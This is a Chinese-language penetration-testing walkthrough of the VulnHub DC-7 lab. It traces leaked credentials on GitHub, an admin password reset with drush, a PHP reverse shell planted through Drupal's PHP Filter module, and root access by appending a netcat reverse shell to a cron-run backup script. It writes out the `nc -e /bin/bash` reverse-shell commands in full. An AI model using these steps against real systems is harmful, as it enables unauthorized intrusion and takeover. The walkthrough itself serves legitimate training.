靶机下载地址:
链接:https://pan.baidu.com/s/1w2c_QKd_hOoR2AzNrdZjMg?pwd=tdky
提取码:tdky
参考:
- DC7靶机地址:http://www.five86.com/downloads/DC-7.zip
- DC7靶场介绍: https://www.vulnhub.com/entry/dc-7,356/
- php插件地址:https://ftp.drupal.org/files/projects/php-8.x-1.x-dev.tar.gz
- 【DC系列靶机DC7通关讲解】 https://www.bilibili.com/video/BV1f8411T7As/?share_source=copy_web&vd_source=12088c39299ad03109d9a21304b34fef
- DC-7靶场下载及渗透实战详细过程(DC靶场系列)_域环境靶场下载-CSDN博客
- DC-7 (1).pdf
- ChatGPT
描述:
DESCRIPTION 说明
DC-7 is another purposely built vulnerable lab with the intent of gaining experience in the world of penetration testing.
DC-7是另一个专门建造的易受攻击实验室,旨在获得渗透测试领域的经验。
While this isn't an overly technical challenge, it isn't exactly easy.
虽然这不是一个过于技术性的挑战,但也并不容易。
While it's kind of a logical progression from an earlier DC release (I won't tell you which one), there are some new concepts involved, but you will need to figure those out for yourself. :-) If you need to resort to brute forcing or dictionary attacks, you probably won't succeed.
虽然这是早期DC版本的一个逻辑进展(我不会告诉你是哪一个),但其中涉及一些新概念,但你需要自己弄清楚。:-)如果你需要诉诸暴力或字典攻击,你可能不会成功。
What you will need to do, is to think "outside" of the box.
你需要做的是跳出框框思考。
Waaaaaay "outside" of the box. :-)
Waaaaaay“在盒子外面”。:-)
The ultimate goal of this challenge is to get root and to read the one and only flag.
这个挑战的最终目标是扎根并阅读唯一的旗帜。
Linux skills and familiarity with the Linux command line are a must, as is some experience with basic penetration testing tools.
Linux技能和熟悉Linux命令行是必须的,有一些基本渗透测试工具的经验也是必须的。
For beginners, Google can be of great assistance, but you can always tweet me at @DCAU7 for assistance to get you going again. But take note: I won't give you the answer, instead, I'll give you an idea about how to move forward.
对于初学者来说,谷歌可以提供很大的帮助,但你可以随时在@DCAU7上向我推特寻求帮助,让你重新开始。但请注意:我不会给你答案,相反,我会给你一个如何前进的想法。
1、导入VMware虚拟机
下载完成后,得到DC-7.ova文件,导入到VMware后,设置靶机和kali的网络连接模式为NAT模式,靶机会自动获取ip地址。
2、拍摄快照,防止后面出问题,有快照还能恢复到初始设置
3、kali创建一个目录 dc7 ,后续的操作都在该目录下进行
使用工具
攻击者:kali 192.168.1.128
靶机:dc-3 192.168.1.135
一.信息收集
基础信息查询
0x01 查看存活主机 0x02 查看开放端口 和 0x03 查看端口服务
这几条命令的用法可以看之前的博客,这里不再赘述
发现靶机192.168.1.135
开放了80和22端口
判断 CMS
来到 DC7 Web ⻚⾯,可以看到 CMS 是 Drupal
再次信息收集
发现主⻚存在⼀些信息:
发现下面有一个@DC7USER
那我们就用搜索引擎去搜索一下,发现了一个Github
在config.php配置文件中发现了账号密码
尝试登录web页面,发现无法登录
那就尝试SSH登录,登录成功
ssh dc7user@192.168.1.135
发现了个root用户的定时文件backups.sh,接下来看一下文件权限
ls -la /opt/scripts/
-rwxrwxr-x 1 root www-data 520 Aug 29 2019 backups.sh
root用户及其组用户(www-data)可以写入读取执行·,但其他用户没有写入的权限,只有读和执行的权限
backups.sh 内容如下 :
再回到/home/dc7user目录下查看一下,
发现 backups:备份⽂件
mbox:内容看着像⼀个定时备份,但是失败⽽保存的邮件
还有 .drush 这个目录
backups.sh 中也有 drush命令
发现了个drush命令,这个是drupal专属的一个操作系统命令,参考Drupal drush 常用命令
drush修改密码
使用这个命令需要先切换到drupal的目录
cd /var/www/html
查看用户信息
我们查看一下admin的用户信息
drush user-information admin
接下来修改admin的密码
drush upwd admin --password="admin"
然后我们登录后台,用admin管理员的账号
成功登录
反弹shell
进入后台之后,我们要写木马来进行反弹shell
点击内容,并点击编辑,看看能不能把PHP代码写进去
并未发现支持PHP代码的
这个时候我们需要安装 PHP Filter 模块
先把它下载到本地
- php插件地址:https://ftp.drupal.org/files/projects/php-8.x-1.x-dev.tar.gz
然后拖进去进行安装
还需要再勾选一遍
这样才算成功安装
此时,页面编辑器中就出现了 PHP code
在 Body 中添加反弹shell 的pho代码
<?php system("nc -e /bin/bash 192.168.1.128 1234");?>
点击保存
现在先在我们的kali里面监听1234端口
nc -lvvnp 1234
然后访问一下 Welcome to DC-7
这个页面,来让它解析PHP代码以触发反弹shell 的命令
成功反弹过来了
优化 SHELL
python -c 'import pty;pty.spawn("/bin/bash")'
export TERM=xterm
权限提升
修改定时脚本⽂件提权
echo "nc -e /bin/bash 192.168.1.128 4321" >> backups.sh
本地监听:
nc -lvvnp 4321
等待反弹过来即可
因为这个backups.sh的脚本是以root的身份执行的,所以弹回来的shell也是root权限的shell
提权成功!
成功获取到flag!
总结
- 第一步非常难,就是要找到它的Github的信息泄露
- 对drush的了解,可能国外的人用到就比较多
- 要解决它支持PHP代码的问题,需要安装支持PHP的插件
- 对定时任务的了解,邮件的定时任务,能够去发现一些脚本的内容